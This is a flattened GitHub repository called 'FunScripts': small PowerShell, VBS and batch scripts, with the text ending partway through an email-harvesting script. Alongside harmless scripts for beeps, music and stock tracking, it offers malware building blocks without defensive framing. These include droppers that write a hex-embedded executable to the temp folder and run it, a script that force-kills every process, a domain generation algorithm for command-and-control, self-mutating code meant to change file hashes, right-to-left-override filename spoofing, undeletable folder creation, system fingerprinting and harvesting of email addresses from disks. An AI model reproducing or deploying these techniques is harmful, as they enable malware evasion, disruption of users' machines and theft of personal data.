├── FunScripts
├── Beep.ps1
├── BSOD.vbs
├── PowerShellToExe.ps1
├── VBSToExe.vbs
├── PingScanner.bat
├── PowerShellCommandEncoder.ps1
├── ExportCert.ps1
├── InstallCert.ps1
├── Caesar Cipher.vbs
├── ListDeDuper.vbs
├── GetCertByName.ps1
├── URLFileDownloader.vbs
├── RightToLeft.vbs
├── DriveInformation.vbs
├── Domain Generation Algorithm.ps1
├── LogArchiver.bat
├── Metamorphic Code.vbs
├── ProgrammaticTor.ps1
├── BadPath.vbs
├── SendNotification.ps1
├── StockChecker.ps1
├── Zelda.ps1
├── DividendCounter.ps1
├── FingerPrinter.ps1
├── EmailRaider.vbs
├── YellowPagesScraper.vbs
├── NetworkDriveBruteForcer.vbs
├── Certkrypt.De.ps1
├── FunScripts.csproj
├── Certkrypt.En.ps1
├── VBSObfuscator.vbs
├── ADEnumerator.ps1
├── DetectVM.ps1
├── ConsoleVisualizer.ps1
└── Pi-10000-Digits.vbs
├── CONTRIBUTING.md
├── LICENSE
├── FunScripts.sln
├── .gitattributes
├── README.md
└── .gitignore
/FunScripts/Beep.ps1:
--------------------------------------------------------------------------------
1 | #This script makes 35 random pitch PowerShell console beeps
2 | 190..8500 | Get-Random -Count 35 | ForEach {[console]::Beep($_, 150)}
--------------------------------------------------------------------------------
/CONTRIBUTING.md:
--------------------------------------------------------------------------------
1 | # Contributing
2 |
3 | 1. Fork it
4 | 2. Create your feature branch (`git checkout -b my-new-feature`)
5 | 3. Commit your changes (`git commit -am 'Add some feature'`)
6 | 4. Push to the branch (`git push origin my-new-feature`)
7 | 5. Create new pull request (PR)
8 |
9 | # To Do
10 |
11 | - [ ] Add More Fun Scripts
12 |
--------------------------------------------------------------------------------
/FunScripts/BSOD.vbs:
--------------------------------------------------------------------------------
1 | 'This script causes your computer to do a blue screen of death and restart
2 | 'useful for testing and troubleshooting, needs to be ran as an administrator
3 | Dim aShell
4 | Set aShell = CreateObject ("WScript.Shell")
5 | aShell.run "powershell get-process | stop-process -force"
6 | aShell.run "taskkill /IM mshta.exe"
7 | Set aShell = Nothing
--------------------------------------------------------------------------------
/FunScripts/PowerShellToExe.ps1:
--------------------------------------------------------------------------------
1 | #This script deploys a hardcoded executable and runs it
2 | #exe in hex
3 | $hex = ""
4 | $hex = for($i=0; $i -lt $hex.length; $i+=2)
5 | {
6 | [char][int]::Parse($hex.substring($i,2),'HexNumber')
7 | }
8 | [System.IO.File]::WriteAllBytes("$env:temp\executable.exe", $hex)
9 | Start-Process -FilePath "$env:temp\executable.exe"
10 | start-sleep 120
--------------------------------------------------------------------------------
/FunScripts/VBSToExe.vbs:
--------------------------------------------------------------------------------
1 | 'This script deploys a hardcoded executable and runs it
2 | Dim a, b, c, d, e
3 | Set a = CreateObject("Scripting.FileSystemObject")
4 | Set b = CreateObject("WScript.Shell")
5 | 'exe in hex
6 | c = ""
7 | Set d = a.CreateTextFile(a.GetSpecialFolder(2)&"\test.exe")
8 |
9 | For e = 1 To Len(c) step 2
10 | d.write Chr(CInt("&h" & mid(c,e,2)))
11 | Next
12 |
13 | d.Close
14 | b.Run a.GetSpecialFolder(2)&"\test.exe"
--------------------------------------------------------------------------------
/FunScripts/PingScanner.bat:
--------------------------------------------------------------------------------
1 | @echo off
2 | REM This script is a ping scanner
3 | set ip1=192
4 | set ip2=168
5 | set ip3=1
6 | set ip4=1
7 | :start
8 | ping -n 1 %ip1%.%ip2%.%ip3%.%ip4% | find /i "unreachable" >nul>nul
9 | if not errorlevel 1 goto next
10 | if errorlevel 1 goto found
11 | :found
12 | echo found %ip1%.%ip2%.%ip3%.%ip4%
13 | :next
14 | if /i %ip4% NEQ 256 set /a ip4=%ip4%+1
15 | if /i %ip4% EQU 256 set /a ip3=%ip3%+1
16 | if /i %ip4% EQU 256 set /a ip4=1
17 | if %ip4% NEQ 256 goto start
--------------------------------------------------------------------------------
/FunScripts/PowerShellCommandEncoder.ps1:
--------------------------------------------------------------------------------
1 | #This script encodes a PowerShell command and saves to a PowerShell script
2 | $command = 'write-host "LOL"'
3 | $bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
4 | $scriptStart = "powershell.exe -encodedCommand "
5 | $encodedCommand = [Convert]::ToBase64String($bytes)
6 | $encodedCommand = $scriptStart + $encodedCommand
7 | $encodedCommand | set-content ("C:\FilePath\Output.ps1")
8 | #powershell.exe -encodedCommand dwByAGkAdABlAC0AaABvAHMAdAAgACIATABPAEwAIgA=
--------------------------------------------------------------------------------
/FunScripts/ExportCert.ps1:
--------------------------------------------------------------------------------
1 | #Uses a certificate from the microsoft certificate store, replace the zeros with the certificate identifier.
2 | $cert = get-item -path cert:\currentuser\my\0000000000000000000000000000000000000000 -ea stop
3 | #$password = ""
4 | $type = [System.Security.Cryptography.X509Certificates.X509ContentType]::Cert
5 | $bytes = $cert.Export($type)
6 | [System.IO.File]::WriteAllBytes("C:\FilePath\FileName.cer", $bytes)
7 | #$error | Out-File "C:\FilePath\Errors.txt"
8 | write-host "Done."
9 | start-sleep 120
--------------------------------------------------------------------------------
/FunScripts/InstallCert.ps1:
--------------------------------------------------------------------------------
1 | #This script installs a certificate from a path
2 | $pfxpath = "C:\FilePath\FileName.cer"
3 | $password = ""
4 | Add-Type -AssemblyName System.Security
5 | $cert = New-Object System.Security.Cryptography.X509Certificates.X509Certificate2
6 | $cert.Import($pfxpath, $password, ‘Exportable’)
7 |
8 | $store = Get-Item cert:\CurrentUser\My
9 | $store.Open([System.Security.Cryptography.X509Certificates.OpenFlags]"ReadWrite")
10 | $store.add($cert)
11 | $store.Close()
12 | #$error | Out-File "C:\FilePath\Errors.txt"
13 | write-host "Done."
14 | start-sleep 120
--------------------------------------------------------------------------------
/FunScripts/Caesar Cipher.vbs:
--------------------------------------------------------------------------------
1 | 'The Caesar Cipher, used by Julius Caesar around 58 BC, is a substitution cipher that
2 | 'shifts letters in a message to make it unreadable if intercepted.
3 | 'To decrypt, the receiver reverses the shift.
4 | Sub CaesarCipher(CipherText)
5 | Dim o
6 | Dim v
7 | Dim StringRet
8 | o = "rfjznadeiowq21g.57kx-vtplc6s4/:8mhby390u "
9 | v = "8of2g0qpiwrvlcky-zj5aedh39t17m4/nb.6xu:s "
10 | StringRet = ""
11 | For i = 1 To Len(CipherText)
12 | StringRet = StringRet & Mid(o,InStr(v,Mid(CipherText, i, 1)), 1)
13 | Next
14 | MsgBox(StringRet)
15 | End Sub
16 | CaesarCipher("9wqigk i1 osg")
--------------------------------------------------------------------------------
/FunScripts/ListDeDuper.vbs:
--------------------------------------------------------------------------------
1 | 'This script removes duplicates from a text file
2 | Set objFSO = CreateObject("Scripting.FileSystemObject")
3 | Set objFile = objFSO.OpenTextFile("C:\FilePath\List.txt", 1)
4 | Dim U()
5 | ReDim U(0)
6 | Dim p
7 | Dim strBuild
8 | p = 0
9 | strBuild = ""
10 | Do While objFile.AtEndOfStream = False
11 | ReDim Preserve U(p)
12 | strLine = objFile.ReadLine
13 | U(p) = strLine
14 | p = p + 1
15 | Loop
16 |
17 | For i = 0 to (UBound(U) - 1)
18 | For r = (i + 1) to (UBound(U) - 1)
19 | If U(i) = U(r) Then
20 | U(r) = ""
21 | End If
22 | Next
23 | Next
24 |
25 | Set WriteFile = objFSO.OpenTextFile("C:\FilePath\DeDuped.txt", 8, 1)
26 | For z = 0 to UBound(U)
27 | If U(z) <> "" Then
28 | WriteFile.WriteLine U(z)
29 | End If
30 | Next
31 | WriteFile.Close
--------------------------------------------------------------------------------
/FunScripts/GetCertByName.ps1:
--------------------------------------------------------------------------------
1 | #This script retrieves a certificate from the certificate store by issuer
2 | $validCerts = @(
3 | Get-ChildItem -Path Cert:\CurrentUser\My |
4 | Where-Object {
5 | $_.PrivateKey -is [System.Security.Cryptography.RSACryptoServiceProvider] -and
6 | $_.Issuer -eq "CN=CERTNAME"
7 | }
8 | )
9 | if ($validCerts.Count -eq 0)
10 | {
11 | write-host "No RSA certificates with usable private keys were found in the current user's store."
12 | start-sleep 120
13 | }
14 | if ($validCerts.Count -eq 1)
15 | {
16 | write-host "Certificate Found."
17 | $cert = $validCerts[0]
18 | $type = [System.Security.Cryptography.X509Certificates.X509ContentType]::Cert
19 | $bytes = $cert.Export($type)
20 | [System.IO.File]::WriteAllBytes("C:\FilePath\FileName.cer", $bytes)
21 | start-sleep 120
22 | }
--------------------------------------------------------------------------------
/FunScripts/URLFileDownloader.vbs:
--------------------------------------------------------------------------------
1 | 'This script downloads a list of file URL's line by line from a text file.
2 | 'Works great with an extension like 'Link Gopher' which pulls URL's from webpages.
3 | Set fso=CreateObject("Scripting.FileSystemObject")
4 |
5 | filename = "list.txt"
6 | listFile = fso.OpenTextFile(filename).ReadAll
7 | listLines = Split(listFile, vbCrLf)
8 | i = 0
9 |
10 | For Each line In listLines
11 | dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")
12 | dim bStrm: Set bStrm = createobject("Adodb.Stream")
13 | Dim derp: Set derp = CreateObject("Scripting.FileSystemObject")
14 | xHttp.Open "GET", line, False
15 | xHttp.Send
16 | with bStrm
17 | .type = 1
18 | .open
19 | .write xHttp.responseBody
20 | .savetofile CStr(i) & "." & derp.GetExtensionName(line), 2
21 | end with
22 | i = i + 1
23 | Next
--------------------------------------------------------------------------------
/FunScripts/RightToLeft.vbs:
--------------------------------------------------------------------------------
1 | 'This script showcases how to use the Right-To-Left Override Character
2 | 'It is used for languages that are read right to left (such as Arabic or Hebrew)
3 | 'This script creates a file ending in a ".exe" extension that is actually a ".txt" file
4 | 'Right-To-Left Override Character = chrw(&H202E)
5 | 'Left-To-Right Override Character = chrw(&H202D)
6 | 'You can go forward and backwards at will to create some funny but still working file names
7 | Dim FSO, FilePath, objNetwork, userName
8 | Set FSO = CreateObject ("Scripting.FileSystemObject")
9 | Set objNetwork = CreateObject("Wscript.Network")
10 | userName = objNetwork.UserName
11 | FilePath = "C:\Users\" & userName & "\Desktop\TextFile" & chrw(&H202E) & "exe.txt"
12 | Set WriteFile = FSO.OpenTextFile(FilePath, 8, 1)
13 | WriteFile.Write "This is a Text File LOL"
14 | WriteFile.Close
--------------------------------------------------------------------------------
/FunScripts/DriveInformation.vbs:
--------------------------------------------------------------------------------
1 | 'This script returns information for each drive in your computer and prints it to a text file.
2 | 'Just change the FilePath variable to change the output location of the text file.
3 | On Error Resume Next
4 | Set FSO = CreateObject ("Scripting.FileSystemObject")
5 | Dim FilePath
6 | FilePath = "C:\FilePath\DriveInformation.txt"
7 | Set TestFile = FSO.OpenTextFile(FilePath, 8, 1)
8 | For Each Drive In FSO.Drives
9 | If Drive.IsReady = True Then
10 | TestFile.WriteLine "Available Space: " & Drive.AvailableSpace & " Drive Letter: " & Drive.DriveLetter & " Drive Type: " & Drive.DriveType & " File System: " & Drive.FileSystem & " Free Space: " & Drive.FreeSpace & " Is Ready: " & Drive.IsReady & " Path: " & Drive.Path & " Root Folder: " & Drive.RootFolder & " Serial Number: " & Drive.SerialNumber & " Share Name: " & Drive.ShareName & " Total Size: " & Drive.TotalSize & " Volume Name: " & Drive.VolumeName
11 | End If
12 | Next
13 | TestFile.Close
--------------------------------------------------------------------------------
/FunScripts/Domain Generation Algorithm.ps1:
--------------------------------------------------------------------------------
1 | #Domain Generation Algorithms (DGA) are algorithms are used to periodically generate a large number of domain names that can be used as rendezvous points with their command and control servers.
2 | function DGA($m, $d, $y)
3 | {
4 | $b = ""
5 | $algorithm = [Security.Cryptography.HashAlgorithm]::Create("SHA1")
6 | $a = "$m $d $y"
7 | for($i=1; $i -le 16; $i++)
8 | {
9 | $fileBytes = ([system.Text.Encoding]::UTF8).getbytes($a)
10 | $bytes = $algorithm.ComputeHash($fileBytes)
11 | $a = -Join ($bytes | ForEach {"{0:x2}" -f $_})
12 |
13 | $t = "a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z"
14 | foreach ($let in $t.Split(","))
15 | {
16 | $a = $a -replace $let, ""
17 | }
18 |
19 | $a = $a.Substring(0,18)
20 | $p = ($([int64]($a)) % 25) + 97
21 | $b += $([char]($p))
22 | }
23 | return "https://$b.com/"
24 | }
25 |
26 | $r = get-date
27 | for($i=1; $i -le 16; $i++)
28 | {
29 | DGA $([int]($r.Month)) $([int]($r.Day)) $([int]($r.Year))
30 | $r = $r.AddDays(1)
31 | }
32 |
33 | start-sleep 120
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | MIT License
2 |
3 | Copyright (c) 2024 Kyler Condran
4 |
5 | Permission is hereby granted, free of charge, to any person obtaining a copy
6 | of this software and associated documentation files (the "Software"), to deal
7 | in the Software without restriction, including without limitation the rights
8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 |
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 |
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | SOFTWARE.
22 |
--------------------------------------------------------------------------------
/FunScripts/LogArchiver.bat:
--------------------------------------------------------------------------------
1 | @ECHO OFF
2 | REM This script archives log files
3 | REM Program: Log Archiver - Date: 01/17/2013
4 | REM Author: Kyler Condran
5 |
6 | REM Calculate the numbers of the Day/Month/Year
7 | FOR /F "tokens=2-4 delims=/-/ " %%A IN ("%date%") DO (
8 | SET cwMonth=%%A
9 | SET cwDay=%%B
10 | SET cwYear=%%C
11 | )
12 |
13 | REM Find out what day of the week it is.
14 | FOR /F %%D IN ('date /t') DO SET DAY=%%D
15 |
16 | REM Wait 20 minutes before executing this part of the script.
17 | REM The script must be started 10 minutes before midnight, to get current day/date.
18 | REM After 20 minute wait, it is the next day, and script does its actual work.
19 | ECHO Log Archiver Script Starting in 20 minutes.
20 | ECHO Do Not Close This Window Or Press Any Key.
21 | timeout 1200
22 |
23 | REM This part compresses the file in an archive then deletes the original.
24 | "C:\Program Files\WinRAR\rar.exe" a -ep "C:\Program Files\Logs\Syslog-%DAY%-%cwMonth%-%cwDay%-%cwYear%.rar" "C:\Program Files\Logs\Syslog%DAY%.txt"
25 | DEL "C:\Program Files\Logs\Syslog%DAY%.txt"
26 |
27 | forfiles /p "C:\Program Files\Logs" /s /m *.rar /d -14 /c "cmd /c DEL @PATH"
28 | ECHO Script Completed.
29 | timeout 10
--------------------------------------------------------------------------------
/FunScripts.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio Version 17
4 | VisualStudioVersion = 17.6.33829.357
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "FunScripts", "FunScripts\FunScripts.csproj", "{EE043BDF-7C14-4F21-944B-4732A3D1A2B7}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|Any CPU = Debug|Any CPU
11 | Release|Any CPU = Release|Any CPU
12 | EndGlobalSection
13 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
14 | {EE043BDF-7C14-4F21-944B-4732A3D1A2B7}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
15 | {EE043BDF-7C14-4F21-944B-4732A3D1A2B7}.Debug|Any CPU.Build.0 = Debug|Any CPU
16 | {EE043BDF-7C14-4F21-944B-4732A3D1A2B7}.Release|Any CPU.ActiveCfg = Release|Any CPU
17 | {EE043BDF-7C14-4F21-944B-4732A3D1A2B7}.Release|Any CPU.Build.0 = Release|Any CPU
18 | EndGlobalSection
19 | GlobalSection(SolutionProperties) = preSolution
20 | HideSolutionNode = FALSE
21 | EndGlobalSection
22 | GlobalSection(ExtensibilityGlobals) = postSolution
23 | SolutionGuid = {B9D88E09-AC17-408E-A999-3B7C3EFC7704}
24 | EndGlobalSection
25 | EndGlobal
26 |
--------------------------------------------------------------------------------
/FunScripts/Metamorphic Code.vbs:
--------------------------------------------------------------------------------
1 | 'Metamorphic code is code that when run outputs a logically equivalent version of its own code under some interpretation.
2 | 'Every time it is run it will have a different file signature when compared by hashing algorithms but will continue to function as intended.
3 | Const ForReading = 1, ForWriting = 2
4 | Randomize
5 | Set FSO = CreateObject("Scripting.FileSystemObject")
6 | Set ThisFile = FSO.OpenTextFile(Wscript.ScriptFullName, ForReading)
7 | ThisCode = ThisFile.ReadAll
8 | ThisFile.Close
9 | Set ThisFile = FSO.OpenTextFile(Wscript.ScriptFullName, ForWriting, 1)
10 | ThisFile.Write Mutate(ThisCode)
11 | ThisFile.Close
12 |
13 | Function Mutate(MutaString)
14 | NewMutaString = ""
15 | iCount = 1
16 | While iCount <= Len(MutaString)
17 | If Mid(MutaString, iCount, 1) = Chr(32) Then
18 | NewMutaString = NewMutaString + Chr(32)
19 | Do
20 | iCount = iCount + 1
21 | Loop While Mid(MutaString, iCount, 1) = Chr(32)
22 | Else
23 | If Int(2 * Rnd) + 1 = 1 Then
24 | NewMutaString = NewMutaString + UCase(Mid(MutaString, iCount, 1))
25 | Else
26 | NewMutaString = NewMutaString + LCase(Mid(MutaString, iCount, 1))
27 | End If
28 | iCount = iCount + 1
29 | End If
30 | Wend
31 | Mutate = NewMutaString
32 | End Function
--------------------------------------------------------------------------------
/FunScripts/ProgrammaticTor.ps1:
--------------------------------------------------------------------------------
1 | #This script downloads a file from a website using tor and a socks proxy
2 | #$ErrorActionPreference = 'SilentlyContinue'
3 | $ToolsPath = split-path -parent $MyInvocation.MyCommand.Definition
4 | $ErrorPath = Join-Path $ToolsPath 'Errors.txt'
5 | $ResponsePath = Join-Path $ToolsPath 'Response.txt'
6 | $Tor = Join-Path $ToolsPath 'tor.exe'
7 | $Polipo = Join-Path $ToolsPath 'polipo.exe'
8 | $WebClient = New-Object Net.WebClient
9 | $TorRoamingLog = Join-Path $ToolsPath 'RoamingLog.txt'
10 | Start-Process $Tor -ArgumentList " --Log `"notice file $TorRoamingLog`"" -WindowStyle Hidden
11 | do
12 | {
13 | Start-Sleep 1
14 | $LogContents = Get-Content $TorRoamingLog
15 | }
16 | while (!($LogContents -match 'Bootstrapped 100%: Done.'))
17 | Start-Process $Polipo -ArgumentList 'socksParentProxy=localhost:9050' -WindowStyle Hidden
18 | Start-Sleep 7
19 | $WebProxy = New-Object Net.WebProxy('localhost:8123')
20 | $WebProxy.UseDefaultCredentials = $True
21 | $WebClient.Proxy = $WebProxy
22 | $MyUri = 'https://website.com/filename.txt'
23 | while (!$MyResponse)
24 | {
25 | $MyResponse=$WebClient.DownloadString($MyUri)
26 | }
27 | $MyResponse | Out-File $ResponsePath
28 | $error | Out-File $ErrorPath
29 | write-host "Done."
30 | start-sleep 120
--------------------------------------------------------------------------------
/FunScripts/BadPath.vbs:
--------------------------------------------------------------------------------
1 | 'This script creates an unbrowsable + undeletable illegal folder structure and puts a file inside it
2 | 'WARNING: Do not use this script, it could lead to data loss and more. Creating illegal folder structures can brick your computer and cause directory traversing applications to memory leak and crash. Windows Explorer can not navigate these folders. Turn back now.
3 | 'If you do continue you "might" be able to delete these folders with cmd.exe example:
4 | 'cd "C:\Users\userName\Desktop\"
5 | 'rmdir [tab]
6 | 'If not you may need to manually edit the drive with a special disk editing program like Hxd
7 | 'Working on Windows 7 and earlier
8 | Dim oFSO, objNetwork, userName
9 | Set objNetwork = CreateObject("Wscript.Network")
10 | Set oFSO = CreateObject("Scripting.FileSystemObject")
11 | userName = objNetwork.UserName
12 | 'Create Folder 1
13 | oFSO.CreateFolder "C:\Users\" & userName & "\Desktop\BadPath\"
14 | 'Create Folder 2
15 | oFSO.CreateFolder "C:\Users\" & userName & "\Desktop\BadPath\ \"
16 | 'Create Folder 3
17 | oFSO.CreateFolder "C:\Users\" & userName & "\Desktop\BadPath\ \...\"
18 | 'Copy File
19 | If oFSO.FileExists("C:\Users\" & userName & "\Desktop\FileName.txt") Then
20 | oFSO.CopyFile "C:\Users\" & userName & "\Desktop\FileName.txt", "C:\Users\" & userName & "\Desktop\BadPath\ \...\FileName.txt"
21 | End If
--------------------------------------------------------------------------------
/FunScripts/SendNotification.ps1:
--------------------------------------------------------------------------------
1 | # Function to send a Windows 10/11 notification using default Windows API (no external modules required)
2 | function Send-WindowsNotification {
3 | param (
4 | [Parameter(Mandatory=$true)]
5 | [string]$Title,
6 |
7 | [Parameter(Mandatory=$true)]
8 | [string]$Message
9 | )
10 |
11 | [Windows.UI.Notifications.ToastNotificationManager, Windows.UI.Notifications, ContentType = WindowsRuntime] | Out-Null
12 | [Windows.Data.Xml.Dom.XmlDocument, Windows.Data.Xml.Dom.XmlDocument, ContentType = WindowsRuntime] | Out-Null
13 |
14 | $AppId = "{1AC14E77-02E7-4E5D-B744-2EB1AE5198B7}\WindowsPowerShell\v1.0\powershell.exe"
15 |
16 | $Template = @"
17 |
18 |
19 |
20 | $Title
21 | $Message
22 |
23 |
24 |
25 | "@
26 |
27 | $XmlDoc = New-Object Windows.Data.Xml.Dom.XmlDocument
28 | $XmlDoc.LoadXml($Template)
29 |
30 | $Toast = [Windows.UI.Notifications.ToastNotification]::new($XmlDoc)
31 |
32 | [Windows.UI.Notifications.ToastNotificationManager]::CreateToastNotifier($AppId).Show($Toast)
33 | }
34 |
35 | # Example usage:
36 | Send-WindowsNotification -Title "Hello!" -Message "This is a test notification"
--------------------------------------------------------------------------------
/FunScripts/StockChecker.ps1:
--------------------------------------------------------------------------------
1 | #This PowerShell script scans a list of stock tickers for end of day prices via an API and notifies the user if any current prices are below the set threshold.
2 | $tickers = ""
3 |
4 | #A list of stock tickers and their respective price limits that trigger alerts when the price falls below the specified value. Add or subtract tickers from this list.
5 | $stocks = @{
6 | "RY.TO" = 205.30
7 | "TD.TO" = 100.50
8 | "ENB.TO" = 75.10
9 | "BNS.TO" = 85.60
10 | "SHOP.TO" = 220.40
11 | }
12 |
13 | foreach ($stock in $stocks.GetEnumerator()) {
14 | $tickers = $tickers + $stock.Key + ","
15 | }
16 |
17 | $tickers = $tickers.Substring(0, $tickers.Length - 1)
18 |
19 | #Get an API key and plug it in here.
20 | $api_key = "00000000000000000000000000000000"
21 | $url = "https://api.marketstack.com/v2/eod/latest?access_key=$api_key&symbols=$tickers"
22 | $response = Invoke-WebRequest -Uri $url -UseBasicParsing
23 | $json = $response.Content | ConvertFrom-Json
24 |
25 | $counter = 0
26 |
27 | foreach ($stock in $stocks.GetEnumerator()) {
28 | $closingPrice = ($json.data | Where-Object { $_.symbol -eq $stock.Key }).close
29 | if ($closingPrice -lt $stock.Value) {
30 | $counter++
31 | Write-Host $stock.Key $closingPrice
32 | }
33 | }
34 |
35 | if ($counter -eq 0) {
36 | Write-Output "No stocks found below the specified price limits."
37 | }
--------------------------------------------------------------------------------
/FunScripts/Zelda.ps1:
--------------------------------------------------------------------------------
1 | #This script plays the Zelda theme in the PowerShell console.
2 | [console]::Beep(329,700)
3 | [console]::Beep(246,900)
4 | [console]::Beep(329,400)
5 | [console]::Beep(329,200)
6 | [console]::Beep(370,400)
7 | [console]::Beep(415,400)
8 | [console]::Beep(440,400)
9 | [console]::Beep(493,1000)
10 | [console]::Beep(493,350)
11 | [console]::Beep(493,350)
12 | [console]::Beep(523,350)
13 | [console]::Beep(587,350)
14 | [console]::Beep(659,1100)
15 | [console]::Beep(659,325)
16 | [console]::Beep(659,325)
17 | [console]::Beep(587,325)
18 | [console]::Beep(523,325)
19 | [console]::Beep(587,325)
20 | [console]::Beep(523,325)
21 | [console]::Beep(493,1100)
22 | [console]::Beep(493,550)
23 | [console]::Beep(440,325)
24 | [console]::Beep(440,325)
25 | [console]::Beep(493,325)
26 | [console]::Beep(523,1000)
27 | [console]::Beep(493,325)
28 | [console]::Beep(440,325)
29 | [console]::Beep(392,325)
30 | [console]::Beep(392,325)
31 | [console]::Beep(440,325)
32 | [console]::Beep(493,1000)
33 | [console]::Beep(440,325)
34 | [console]::Beep(392,325)
35 | [console]::Beep(370,325)
36 | [console]::Beep(370,325)
37 | [console]::Beep(392,325)
38 | [console]::Beep(440,1000)
39 | [console]::Beep(523,700)
40 | [console]::Beep(493,500)
41 | [console]::Beep(247,250)
42 | [console]::Beep(247,250)
43 | [console]::Beep(247,250)
44 | [console]::Beep(247,250)
45 | [console]::Beep(247,250)
46 | [console]::Beep(247,250)
47 | [console]::Beep(497,500)
48 | [console]::Beep(247,250)
49 | [console]::Beep(247,250)
50 | [console]::Beep(247,250)
51 | [console]::Beep(247,250)
52 | [console]::Beep(247,250)
53 | [console]::Beep(247,250)
--------------------------------------------------------------------------------
/FunScripts/DividendCounter.ps1:
--------------------------------------------------------------------------------
1 | # Description: This script reads dividend data from a CSV file, provided you have a column named "Symbol" and "Value" that tracks dividend payments, aggregates the total dividends per stock ticker, and stores the results in a JSON file.
2 | $jsonPath = "DATA.JSON"
3 | $csvPath = "dividends.csv"
4 |
5 | # Count dividends from CSV pay statements
6 | function Count-Dividends {
7 | if (!(Test-Path -Path $jsonPath)) {
8 | $emptyArray = "[" + [Environment]::NewLine + [Environment]::NewLine + "]"
9 | Set-Content -Path $jsonPath -Value $emptyArray -Encoding UTF8
10 | }
11 | $input = Get-Content -Path $jsonPath -Raw
12 | $storedData = $input | ConvertFrom-Json
13 |
14 | # Import the CSV file
15 | $data = Import-Csv -Path $csvPath
16 | $overallValue = 0
17 |
18 | foreach ($row in $data) {
19 | $symbol = $row.Symbol
20 | $value = [decimal]$row.Value
21 | $value = [Math]::Round($value, 2)
22 | $overallValue += $value
23 | $existingStock = $storedData | Where-Object { $_.Ticker -eq $symbol }
24 | if ($existingStock) {
25 | ($storedData | Where-Object { $_.Ticker -eq $symbol }).Total += $value
26 | } else {
27 | $newStock = [PSCustomObject]@{
28 | Ticker = $symbol
29 | Total = $value
30 | }
31 | $storedData += $newStock
32 | }
33 | }
34 |
35 | $storedData | ConvertTo-Json -Depth 3 | Out-File -FilePath $jsonPath -Encoding utf8
36 | Write-Host "A grand total of $overallValue"
37 | }
38 |
39 | # Total dividends from JSON file
40 | function Total-Dividends {
41 | $input = Get-Content -Path $jsonPath -Raw
42 | $storedData = $input | ConvertFrom-Json
43 | $overallValue = 0
44 | foreach ($item in $storedData){
45 | $overallValue += $item.Total
46 | }
47 | Write-Host "A grand total of $overallValue"
48 | }
49 |
50 | Count-Dividends
51 | #Total-Dividends
--------------------------------------------------------------------------------
/FunScripts/FingerPrinter.ps1:
--------------------------------------------------------------------------------
1 | #This PowerShell script fingerprints a Windows computer and saves the information to a text file.
2 | #Just change the $SavePath variable to set your location to save the text file.
3 | $WebClient = New-Object Net.WebClient
4 | $GeographicRegion = $WebClient.DownloadString('http://ip-api.com/json/')
5 | if(!$GeographicRegion) { $GeographicRegion = 0 }
6 | $IsAdmin = ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)
7 | $OperatingSystem = Get-WmiObject Win32_OperatingSystem
8 | $ComputerSystem = Get-WmiObject Win32_computersystem
9 | $InstalledSoftware = Get-WmiObject -Class Win32_Product
10 | $OSVersion = $OperatingSystem.Version
11 | $OSArchitecture = $OperatingSystem.OSArchitecture
12 | $Domain = $ComputerSystem.Domain
13 | $IsDomainJoined = $ComputerSystem.PartOfDomain
14 | $CultureInfo = [Globalization.Cultureinfo]::GetCultureInfo([Int] $OperatingSystem.OSLanguage).Name
15 | $SavePath = "C:\FilePath\sysinfo.txt"
16 |
17 | foreach ($SoftwarePackage in $InstalledSoftware)
18 | {
19 | $SoftwareProduct += $SoftwarePackage.Name + '|' + $SoftwarePackage.Version + '||'
20 | }
21 |
22 | $Newline = [Environment]::NewLine
23 |
24 | $SystemInfo = 'geodata=' + ($GeographicRegion) + $Newline +
25 | '&language=' + ($CultureInfo) + $Newline +
26 | '&isadmin=' + $IsAdmin + $Newline +
27 | '&win_version=' + ($OSVersion) + $Newline +
28 | '&domain=' + ($Domain) + $Newline +
29 | '&indomain=' + $IsDomainJoined + $Newline +
30 | '&os_arch=' + ($OSArchitecture) + $Newline +
31 | '&softlist=' + ($SoftwareProduct)
32 |
33 | $SystemInfoBytes = [Text.Encoding]::ASCII.GetBytes($SystemInfo)
34 |
35 | [System.IO.File]::WriteAllBytes($SavePath, $SystemInfoBytes)
--------------------------------------------------------------------------------
/FunScripts/EmailRaider.vbs:
--------------------------------------------------------------------------------
1 | 'This script scans your computer for files that contain emails and adds them to a text file.
2 | 'Just change the FilePath variable to change the output location of the text file.
3 | On Error Resume Next
4 | Set FSO = CreateObject ("Scripting.FileSystemObject")
5 | Set Dict = CreateObject("Scripting.Dictionary")
6 | Dim FilePath
7 | FilePath = "C:\FilePath\emails.txt"
8 | Set WriteFile = FSO.OpenTextFile(FilePath, 8, 1)
9 |
10 | Set objRE = New RegExp
11 | objRE.Global = True
12 | objRE.IgnoreCase = True
13 | objRE.Pattern = "[A-Z0-9._%+-]+@[A-Z0-9.-]+\.[A-Z]{2,4}"
14 |
15 | For Each Drive In FSO.Drives
16 | If Drive.IsReady = True And (Drive.DriveType = 2) Then
17 | 'Add more drive types to scan more types of drives
